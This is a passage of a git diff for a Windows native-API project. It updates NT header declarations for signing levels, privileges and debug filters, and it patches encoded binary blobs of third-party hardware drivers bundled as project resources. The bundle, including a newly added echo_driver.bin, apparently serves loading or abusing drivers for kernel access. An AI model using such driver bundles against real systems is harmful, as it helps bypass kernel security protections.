union - { - struct - { - USHORT ProcessId; - USHORT Lock : 1; - USHORT Count : 15; - }; - ULONG Value; - } Owner; - USHORT Unique; - UCHAR Type; - UCHAR Flags; - PVOID UserPointer; -} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; - -typedef struct _GDI_SHARED_MEMORY { - GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; -} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; - #ifndef FLS_MAXIMUM_AVAILABLE #define FLS_MAXIMUM_AVAILABLE 128 #endif @@ -6312,7 +6400,7 @@ typedef struct _GDI_TEB_BATCH { } GDI_TEB_BATCH, *PGDI_TEB_BATCH; typedef struct _ACTIVATION_CONTEXT_DATA { - ULONG Magic; + ULONG Magic; //'xtcA' ULONG HeaderSize; ULONG FormatVersion; ULONG TotalSize; @@ -6716,7 +6804,9 @@ typedef struct tagPROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY_W10 { struct { DWORD DisallowWin32kSystemCalls : 1; DWORD AuditDisallowWin32kSystemCalls : 1; - DWORD ReservedFlags : 30; + DWORD DisallowFsctlSystemCalls : 1; + DWORD AuditDisallowFsctlSystemCalls : 1; + DWORD ReservedFlags : 28; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; } PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY_W10, *PPROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY_W10; @@ -7970,11 +8060,11 @@ typedef struct _LDR_DATA_TABLE_ENTRY_FULL USHORT TlsIndex; LIST_ENTRY HashLinks; ULONG TimeDateStamp; - struct _ACTIVATION_CONTEXT* EntryPointActivationContext; + PACTIVATION_CONTEXT EntryPointActivationContext; PVOID Lock; PLDR_DDAG_NODE DdagNode; LIST_ENTRY NodeModuleLink; - struct _LDRP_LOAD_CONTEXT* LoadContext; + PVOID LoadContext; PVOID ParentDllBase; PVOID SwitchBackContext; RTL_BALANCED_NODE BaseAddressIndexNode; @@ -7987,12 +8077,9 @@ typedef struct _LDR_DATA_TABLE_ENTRY_FULL ULONG ReferenceCount; ULONG DependentLoadFlags; UCHAR SigningLevel; - CHAR Padding1[3]; - ULONG CheckSum; - LONG Padding2; + ULONG CheckSum; PVOID ActivePatchImageBase; LDR_HOT_PATCH_STATE HotPatchState; - LONG __PADDING__[1]; } LDR_DATA_TABLE_ENTRY_FULL, * PLDR_DATA_TABLE_ENTRY_FULL; typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA { @@ -8366,46 +8453,6 @@ LdrControlFlowGuardEnforced( ** LDR END */ -/* -* WIN32K OBJECTS START -*/ - -typedef struct _HANDLEENTRY { - PHEAD phead; // Pointer to the Object. - PVOID pOwner; // PTI or PPI - BYTE bType; // Object handle type - BYTE bFlags; // Flags - WORD wUniq; // Access count. -} HANDLEENTRY, *PHANDLEENTRY; - -typedef struct _SERVERINFO { - WORD wRIPFlags; - WORD wSRVIFlags; - WORD wRIPPID; - WORD wRIPError; - ULONG cHandleEntries; - // incomplete -} SERVERINFO, *PSERVERINFO; - -typedef struct _SHAREDINFO { - PSERVERINFO psi; - PHANDLEENTRY aheList; - ULONG HeEntrySize; - // incomplete -} SHAREDINFO, *PSHAREDINFO; - -typedef struct _USERCONNECT { - ULONG ulVersion; - ULONG ulCurrentVersion; - DWORD dwDispatchCount; - SHAREDINFO siClient; -} USERCONNECT, *PUSERCONNECT; - -/* -* WIN32K OBJECTS END -*/ - - /* ** Runtime Library API START */ @@ -9259,7 +9306,7 @@ NtRaiseException( _In_ BOOLEAN FirstChance); __analysis_noreturn -NTSYSCALLAPI +NTSYSAPI VOID NTAPI RtlAssert( @@ -9277,6 +9324,22 @@ RtlAssert( #define RTL_SOFT_ASSERTMSG(_msg, _exp) \ ((!(_exp)) ? (DbgPrint("%s(%d): Soft assertion failed\n Expression: %s\n Message: %s\n", __FILE__, __LINE__, #_exp, (_msg)), FALSE) : TRUE) +typedef ULONG(NTAPI* PRTLP_UNHANDLED_EXCEPTION_FILTER)( + _In_ PEXCEPTION_POINTERS ExceptionInfo + ); + +NTSYSAPI +VOID +NTAPI +RtlSetUnhandledExceptionFilter( + _In_ PRTLP_UNHANDLED_EXCEPTION_FILTER UnhandledExceptionFilter); + +NTSYSAPI +LONG +NTAPI +RtlUnhandledExceptionFilter( + _In_ PEXCEPTION_POINTERS ExceptionPointers); + /************************************************************************************ * * RTL Security API. @@ -9836,6 +9899,32 @@ RtlAdjustPrivilege( _In_ BOOLEAN Client, _Out_ PBOOLEAN WasEnabled); +#define RTL_ACQUIRE_PRIVILEGE_REVERT 0x00000001 +#define RTL_ACQUIRE_PRIVILEGE_PROCESS 0x00000002 + +NTSYSAPI +NTSTATUS +NTAPI +RtlAcquirePrivilege( + _In_ PULONG Privilege, + _In_ ULONG NumPriv, + _In_ ULONG Flags, + _Out_ PVOID* ReturnedState); + +NTSYSAPI +VOID +NTAPI +RtlReleasePrivilege( + _In_ PVOID StatePointer); + +NTSYSAPI +NTSTATUS +NTAPI +RtlRemovePrivileges( + _In_ HANDLE TokenHandle, + _In_ PULONG PrivilegesToKeep, + _In_ ULONG PrivilegeCount); + NTSYSAPI BOOLEAN NTAPI @@ -14244,6 +14333,22 @@ NtRemoveProcessDebug( _In_ HANDLE ProcessHandle, _In_ HANDLE DebugObjectHandle); +NTSYSAPI +NTSTATUS +NTAPI +NtQueryDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State); + + /************************************************************************************ * * Profile API. @@ -14318,6 +14423,114 @@ NtSetIntervalProfile( _In_ ULONG Interval, _In_ KPROFILE_SOURCE Source); +/************************************************************************************ +* +* Signing Levels API. +* +************************************************************************************/ +typedef UCHAR SE_SIGNING_LEVEL, * PSE_SIGNING_LEVEL; + +#ifndef SE_SIGNING_LEVEL_UNCHECKED +#define SE_SIGNING_LEVEL_UNCHECKED 0x00000000 +#endif + +#ifndef SE_SIGNING_LEVEL_UNSIGNED +#define SE_SIGNING_LEVEL_UNSIGNED 0x00000001 +#endif + +#ifndef SE_SIGNING_LEVEL_ENTERPRISE +#define SE_SIGNING_LEVEL_ENTERPRISE 0x00000002 +#endif + +#ifndef SE_SIGNING_LEVEL_CUSTOM_1 +#define SE_SIGNING_LEVEL_CUSTOM_1 0x00000003 +#endif + +#ifndef SE_SIGNING_LEVEL_DEVELOPER +#define SE_SIGNING_LEVEL_DEVELOPER SE_SIGNING_LEVEL_CUSTOM_1 +#endif + +#ifndef SE_SIGNING_LEVEL_AUTHENTICODE +#define SE_SIGNING_LEVEL_AUTHENTICODE 0x00000004 +#endif + +#ifndef SE_SIGNING_LEVEL_CUSTOM_2 +#define SE_SIGNING_LEVEL_CUSTOM_2 0x00000005 +#endif + +#ifndef SE_SIGNING_LEVEL_STORE +#define SE_SIGNING_LEVEL_STORE 0x00000006 +#endif + +#ifndef SE_SIGNING_LEVEL_CUSTOM_3 +#define SE_SIGNING_LEVEL_CUSTOM_3 0x00000007 +#endif + +#ifndef SE_SIGNING_LEVEL_ANTIMALWARE +#define SE_SIGNING_LEVEL_ANTIMALWARE SE_SIGNING_LEVEL_CUSTOM_3 +#endif + +#ifndef SE_SIGNING_LEVEL_MICROSOFT +#define SE_SIGNING_LEVEL_MICROSOFT 0x00000008 +#endif + +#ifndef SE_SIGNING_LEVEL_CUSTOM_4 +#define SE_SIGNING_LEVEL_CUSTOM_4 0x00000009 +#endif + +#ifndef SE_SIGNING_LEVEL_CUSTOM_5 +#define SE_SIGNING_LEVEL_CUSTOM_5 0x0000000A +#endif + +#ifndef SE_SIGNING_LEVEL_DYNAMIC_CODEGEN +#define SE_SIGNING_LEVEL_DYNAMIC_CODEGEN 0x0000000B +#endif + +#ifndef SE_SIGNING_LEVEL_WINDOWS +#define SE_SIGNING_LEVEL_WINDOWS 0x0000000C +#endif + +#ifndef SE_SIGNING_LEVEL_CUSTOM_7 +#define SE_SIGNING_LEVEL_CUSTOM_7 0x0000000D +#endif + +#ifndef SE_SIGNING_LEVEL_WINDOWS_TCB +#define SE_SIGNING_LEVEL_WINDOWS_TCB 0x0000000E +#endif + +#ifndef SE_SIGNING_LEVEL_CUSTOM_6 +#define SE_SIGNING_LEVEL_CUSTOM_6 0x0000000F +#endif + +NTSYSAPI +NTSTATUS +NTAPI +NtSetCachedSigningLevel( + _In_ ULONG Flags, + _In_ SE_SIGNING_LEVEL InputSigningLevel, + _In_reads_(SourceFileCount) PHANDLE SourceFiles, + _In_ ULONG SourceFileCount, + _In_opt_ HANDLE TargetFile); + +NTSYSAPI +NTSTATUS +NTAPI +NtGetCachedSigningLevel( + _In_ HANDLE File, + _Out_ PULONG Flags, + _Out_ PSE_SIGNING_LEVEL SigningLevel, + _Out_writes_bytes_to_opt_(*ThumbprintSize, *ThumbprintSize) PUCHAR Thumbprint, + _Inout_opt_ PULONG ThumbprintSize, + _Out_opt_ PULONG ThumbprintAlgorithm); + +//REDSTONE 2 and above +NTSYSAPI +NTSTATUS +NTAPI +NtCompareSigningLevels( + _In_ SE_SIGNING_LEVEL FirstSigningLevel, + _In_ SE_SIGNING_LEVEL SecondSigningLevel); + /************************************************************************************ * * Worker Factory API. @@ -14699,6 +14912,53 @@ NtRaiseHardError( _In_ ULONG ValidResponseOptions, _Out_ PULONG Response); +/************************************************************************************ +* +* Thread Pooling API and definitions. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +TpAllocPool( + _Out_ PTP_POOL* PoolReturn, + _Reserved_ PVOID Reserved); + +NTSYSAPI +VOID +NTAPI +TpReleasePool( + _Inout_ PTP_POOL Pool); + +NTSYSAPI +NTSTATUS +NTAPI +TpAllocWork( + _Out_ PTP_WORK* WorkReturn, + _In_ PTP_WORK_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron); + +NTSYSAPI +VOID +NTAPI +TpReleaseWork( + _Inout_ PTP_WORK Work); + +NTSYSAPI +VOID +NTAPI +TpPostWork( + _Inout_ PTP_WORK Work); + +NTSYSAPI +VOID +NTAPI +TpWaitForWork( + _Inout_ PTP_WORK Work, + _In_ LOGICAL CancelPendingCallbacks); + /************************************************************************************ * * Application Verifier API and definitions. diff --git a/Source/Shared/ntos/ntsup.c b/Source/Shared/ntos/ntsup.c index e1558c9..348a62c 100644 --- a/Source/Shared/ntos/ntsup.c +++ b/Source/Shared/ntos/ntsup.c @@ -4,9 +4,9 @@ * * TITLE: NTSUP.C * -* VERSION: 2.18 +* VERSION: 2.20 * -* DATE: 18 Feb 2023 +* DATE: 14 Jul 2023 * * Native API support functions. * @@ -842,7 +842,7 @@ PVOID ntsupGetSystemInfoEx( &returnedLength)) == STATUS_INFO_LENGTH_MISMATCH) { FreeMem(buffer); - bufferSize *= 2; + bufferSize <<= 1; if (bufferSize > NTQSI_MAX_BUFFER_LENGTH) return NULL; @@ -1047,7 +1047,7 @@ BOOL ntsupQueryProcessName( ULONG NextEntryDelta = 0; union { - PSYSTEM_PROCESSES_INFORMATION Processes; + PSYSTEM_PROCESS_INFORMATION Process; PBYTE ListRef; } List; @@ -1057,18 +1057,18 @@ BOOL ntsupQueryProcessName( List.ListRef += NextEntryDelta; - if ((ULONG_PTR)List.Processes->UniqueProcessId == dwProcessId) { + if ((ULONG_PTR)List.Process->UniqueProcessId == dwProcessId) { _strncpy( Buffer, ccBuffer, - List.Processes->ImageName.Buffer, - List.Processes->ImageName.Length / sizeof(WCHAR)); + List.Process->ImageName.Buffer, + List.Process->ImageName.Length / sizeof(WCHAR)); return TRUE; } - NextEntryDelta = List.Processes->NextEntryDelta; + NextEntryDelta = List.Process->NextEntryDelta; } while (NextEntryDelta); @@ -1088,13 +1088,13 @@ BOOL ntsupQueryProcessName( BOOL ntsupQueryProcessEntryById( _In_ HANDLE UniqueProcessId, _In_ PVOID ProcessList, - _Out_ PSYSTEM_PROCESSES_INFORMATION* Entry + _Out_ PSYSTEM_PROCESS_INFORMATION* Entry ) { ULONG NextEntryDelta = 0; union { - PSYSTEM_PROCESSES_INFORMATION Processes; + PSYSTEM_PROCESS_INFORMATION Process; PBYTE ListRef; } List; @@ -1106,12 +1106,12 @@ BOOL ntsupQueryProcessEntryById( List.ListRef += NextEntryDelta; - if (List.Processes->UniqueProcessId == UniqueProcessId) { - *Entry = List.Processes; + if (List.Process->UniqueProcessId == UniqueProcessId) { + *Entry = List.Process; return TRUE; } - NextEntryDelta = List.Processes->NextEntryDelta; + NextEntryDelta = List.Process->NextEntryDelta; } while (NextEntryDelta); diff --git a/Source/Shared/ntos/ntsup.h b/Source/Shared/ntos/ntsup.h index c841821..1570444 100644 --- a/Source/Shared/ntos/ntsup.h +++ b/Source/Shared/ntos/ntsup.h @@ -4,9 +4,9 @@ * * TITLE: NTSUP.H * -* VERSION: 2.18 +* VERSION: 2.19 * -* DATE: 16 Feb 2023 +* DATE: 10 Jul 2023 * * Common header file for the NT API support functions and definitions. * @@ -232,7 +232,7 @@ BOOL ntsupQueryProcessName( BOOL ntsupQueryProcessEntryById( _In_ HANDLE UniqueProcessId, _In_ PVOID ProcessList, - _Out_ PSYSTEM_PROCESSES_INFORMATION* Entry); + _Out_ PSYSTEM_PROCESS_INFORMATION* Entry); NTSTATUS ntsupQueryProcessImageFileNameByProcessId( _In_ HANDLE UniqueProcessId, diff --git a/Source/Tanikaze/Tanikaze.vcxproj b/Source/Tanikaze/Tanikaze.vcxproj index ba9842c..cc7c327 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj +++ b/Source/Tanikaze/Tanikaze.vcxproj @@ -195,6 +195,7 @@ + diff --git a/Source/Tanikaze/Tanikaze.vcxproj.filters b/Source/Tanikaze/Tanikaze.vcxproj.filters index e5ae477..b8bd0c8 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj.filters +++ b/Source/Tanikaze/Tanikaze.vcxproj.filters @@ -175,6 +175,9 @@ Resource Files + + Resource Files + diff --git a/Source/Tanikaze/data/AsusCertService.bin b/Source/Tanikaze/data/AsusCertService.bin index 4d5f0cbe7a713addeda7f26b572d6f01f4626620..8833525bd3e35d6d21883acd910e445ab2bc3f32 100644 GIT binary patch delta 27 jcmZp;$Jua?lWRl626O)p*8|!^8@XD!7`JjUeaiy?s*ekD delta 27 jcmZp;$Jua?lWRl62J`iDMMjIu8@XD!7`JjUeaiy?pZf~C diff --git a/Source/Tanikaze/data/KMUEXE.bin b/Source/Tanikaze/data/KMUEXE.bin index 0089059366271f3019bb38d97bef4298a28c44b3..7eff32bfb26fc2c41081fb5a52e061eedd389c62 100644 GIT binary patch delta 24 gcmdmcj&<)jR;~>V8_eSi9|p9CHgav{Vl++%0F46*1ONa4 delta 24 gcmdmcj&<)jR;~>V8_eT7nT!^fH*#&|Vl++%0EKP|T>t<8 diff --git a/Source/Tanikaze/data/KMUSIG.bin b/Source/Tanikaze/data/KMUSIG.bin index dbc0ed216dcfdafa8584d30f95b498e491539f86..8d7f158d0cb742f3628a34c395a4f1b7a731ec5a 100644 GIT binary patch delta 18 acmZ3*xQdZ$L&FC1`7O@_+CwLDEdT&WJ_qRl delta 18 acmZ3*xQdZ$L&FC1`YZ;c#pM&Z761T1T?Xg? diff --git a/Source/Tanikaze/data/dbutilcat.bin b/Source/Tanikaze/data/dbutilcat.bin index 4cfddfdac96d8c6b42d2a329bab984edbd1a943d..3210588b4428b1c77559f5ee3d7c684ed74ce81b 100644 GIT binary patch delta 19 bcmcbrcU6yTL&FC1{h3b#+Cw*Td5Z%8TvrHw delta 19 acmcbrcU6yTL&FC1dRaE3#pN5hyu|@fvj;N( diff --git a/Source/Tanikaze/data/dbutilinf.bin b/Source/Tanikaze/data/dbutilinf.bin index 1d88ce3440702074bdbf6fa7327923595d4a4773..bde7f5376637ef70c73f69dbcaf4b533c9486a6e 100644 GIT binary patch delta 19 bcmX@eevqAOL&FC1_o=S~+Cw*TZD$4mR|yD` delta 19 bcmX@eevqAOL&FC1`Ttmr7ME}2+Rh9BQkn=A diff --git a/Source/Tanikaze/drv/ALSysIO64.bin b/Source/Tanikaze/drv/ALSysIO64.bin index 6df95200dbb540236558b70a32f509957307b465..6b1597a355c10321a1f580b9c33f7d953dfed196 100644 GIT binary patch delta 21 dcmaF4iSgwoMy?GF8_eU+bp^DCZsdxO1ORgc39tYF delta 21 dcmaF4iSgwoMy?GF8_eh1su(RU-^djo2>@-o2^jzY diff --git a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin index 6e44f07aec09e64af82a30b1f2232d815669dd5b..e7b5aca9b13be4c14a4ba65ade4e32f545958574 100644 GIT binary patch delta 21 dcmdmWhH=*!My?GF8_e&gw*|C^ZsamZ0|0Q133&hj delta 21 dcmdmWhH=*!My?GF8_e}zDH<&<-^gW<1^{cI2?qcG diff --git a/Source/Tanikaze/drv/ATSZIO64.bin b/Source/Tanikaze/drv/ATSZIO64.bin index 942f0bbf11d7c687a22c3fbf45e441be9b57287c..a8a21fa840623828c9346f00317653aac3c6271c 100644 GIT binary patch delta 19 bcmewm_#u#ML&FC1|6d9M+Cw*TJ<|XHY0C-x delta 19 bcmewm_#u#ML&FC1{Est?7ng73dZqyYW!DL^ diff --git a/Source/Tanikaze/drv/AsIO3.bin b/Source/Tanikaze/drv/AsIO3.bin index 3462c9cdee98ea2b376eff252a25a172a2645e92..e6dcd244499503d8811caa149372ae26dacd5f43 100644 GIT binary patch delta 21 dcmX@QmGS6SMy?GF8_fHsEe&W7-N>~&3IK0#3Eltz delta 21 dcmX@QmGS6SMy?GF8_eU~Pa7{T-^jH)3IJ??38nx5 diff --git a/Source/Tanikaze/drv/AsrDrv106.bin b/Source/Tanikaze/drv/AsrDrv106.bin index 1f8c07184a792354a857ac9982936e1529efffe2..af4ce3250429ac7b8efad789dc7299f4ffe942fc 100644 GIT binary patch delta 21 dcmZ2{hjH;8My?GF8_dr?>WbS#K#L&FC1{gH72?V%gFY%~E{F9;L> delta 19 acmX>WbS#K#L&FAh`HlwT#pN5hY%~E^EeGZR diff --git a/Source/Tanikaze/drv/HW64.bin b/Source/Tanikaze/drv/HW64.bin index c783c14b09b77f20615690350f18d43664f5cc98..6e0516efae50bca9b5898e0deb78b1952d872591 100644 GIT binary patch delta 21 dcmX@v!+5fXk!wT42J`oSmj$$kZsf9e0|0P(3CsWh delta 21 dcmX@v!+5fXk!wT42J`=Z$Bh@4Z{)If0|0D-32y)Z diff --git a/Source/Tanikaze/drv/KExplore.bin b/Source/Tanikaze/drv/KExplore.bin index c298ccefc4d9b305cdf92e1ea748306bdd287657..16923c60f292c101bf22dad5ba693afac91b0cd8 100644 GIT binary patch delta 19 acmbR2IN6bFL&FAheu)nO?V%gFIu!s+xd(9o delta 19 acmbR2IN6bFL&FC1d^R4V#pN5hIu!s(HwOCv diff --git a/Source/Tanikaze/drv/KObjExp.bin b/Source/Tanikaze/drv/KObjExp.bin index cc8cbdad750ba368d346a666a08f61a5dacbbb9e..a04debd3906a367ab65b9d407321a5d2d2f575f3 100644 GIT binary patch delta 19 bcmbR2IN6bFL&FAh{%>yr+Cw*Tbt(V=RA&fF delta 19 bcmbR2IN6bFL&FC1`Gwp@i_151bt(V=PSOXJ diff --git a/Source/Tanikaze/drv/KRegExp.bin b/Source/Tanikaze/drv/KRegExp.bin index b7ebf2271f1806f2ae7ee1dc806dac43cfc91b64..f83ffe6b868dd1df2713875fff989b13978bc292 100644 GIT binary patch delta 19 bcmeyD@-KyJL&FC1|AC(Z+Cw*Tl^6j4Ys3k) delta 19 bcmeyD@-KyJL&FC1`gMFpi_151l^6j4V`&J^ diff --git a/Source/Tanikaze/drv/LDD.bin b/Source/Tanikaze/drv/LDD.bin index ce2f580148bba86863c239c8925803e8193b4bee..dddbeda88b96a971130583899a944906c9e515d3 100644 GIT binary patch delta 21 dcmaE`it)iJMy?GF8_eUo{sgp#ZsZCJ1pslA39kSE delta 21 dcmaE`it)iJMy?GF8_e}1C5;xBZ{!LK1psGa2#Wv! diff --git a/Source/Tanikaze/drv/MsIo64.bin b/Source/Tanikaze/drv/MsIo64.bin index 8ef38b5022ecde9bc75cf5a4317677f7478c9aa1..77cebda9d212a7c7df416086d80d524e048e17a7 100644 GIT binary patch delta 19 bcmey8`z4oaL&FC1`HKSs+Cw*Ty)pv;W|#?n delta 19 bcmey8`z4oaL&FAhd6!?ti_151y)pv;WDp5y diff --git a/Source/Tanikaze/drv/Phymemx64.bin b/Source/Tanikaze/drv/Phymemx64.bin index 51f97a9fad1b04f8026869d274aab77e0549e271..8a817ae36679ab3d6238cb6fd53b5def9087884e 100644 GIT binary patch delta 19 acmdm-vpI)rL&FC1_1-}N?V%gFG|d26UjB7ng73inIg(XvYbO diff --git a/Source/Tanikaze/drv/WinRing0x64.bin b/Source/Tanikaze/drv/WinRing0x64.bin index af1b85adf7367ddc29ce0606d5083fff0500294b..c4c23aea8d84f1cb07e04ee7356790055f449b22 100644 GIT binary patch delta 19 acmdmLx7ChoL&FAh|2a+p?V%gFwB-R(5(j1g delta 19 bcmdmLx7ChoL&FAhd%b7Ii_151Y0CouQ#%K( diff --git a/Source/Tanikaze/drv/amsdk.bin b/Source/Tanikaze/drv/amsdk.bin index 50c4862f4ba7efb5c387c2f32ab10c87a59f0141..b81c976fcbef530ea22163f319e54ac581a54f55 100644 GIT binary patch delta 24 gcmex)oAu{yR;~>V8_e?`%n4`@ZRFa@#rQrK0G>$;k^lez delta 24 gcmex)oAu{yR;~>V8_fUjwJ};;-pI9;i}8If0HC!CzW@LL diff --git a/Source/Tanikaze/drv/asio2.bin b/Source/Tanikaze/drv/asio2.bin index cd40a20c231860296619b07801492eb5bfbcc262..689b2152e766f509deb8cbffeb01787013633fe2 100644 GIT binary patch delta 21 dcmaDgjq%kqMy?GF8_d_QC=X~4-N=>T4FGUO34{Ou delta 21 dcmaDgjq%kqMy?GF8_eHF&o^FNzL6`z8vt?F3BUjV diff --git a/Source/Tanikaze/drv/dbk64.bin b/Source/Tanikaze/drv/dbk64.bin index c5c747739bdd196ab18924de2d8339c530d7ba13..a2803a26ea1ff9de2d85231bb747760457ba17e3 100644 GIT binary patch delta 21 dcmaDlmHFvZX08nl8_eqk)&#VNZsfXs3IJ<}3F80& delta 21 dcmaDlmHFvZX08nl8_eyOT{d1^zLD$pDFAQ{3V{Fs diff --git a/Source/Tanikaze/drv/dbutildrv2.bin b/Source/Tanikaze/drv/dbutildrv2.bin index 1c863f557901fd44e449f606f615a17514a8cf6b..e3e0368086f9d5f8a832cd245a5876c4e9188553 100644 GIT binary patch delta 19 acmeB4>q+C<(6GTgKVx%1d+0_kCSw3pR0pg8 delta 19 acmeB4>q+C<(6GUr|I9Vx#pN5hn2Z5cw+Hk9 diff --git a/Source/Tanikaze/drv/echo_driver.bin b/Source/Tanikaze/drv/echo_driver.bin new file mode 100644 index 0000000000000000000000000000000000000000..29b5510e46677810174323435d40d013ec69d992 GIT binary patch literal 12299 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 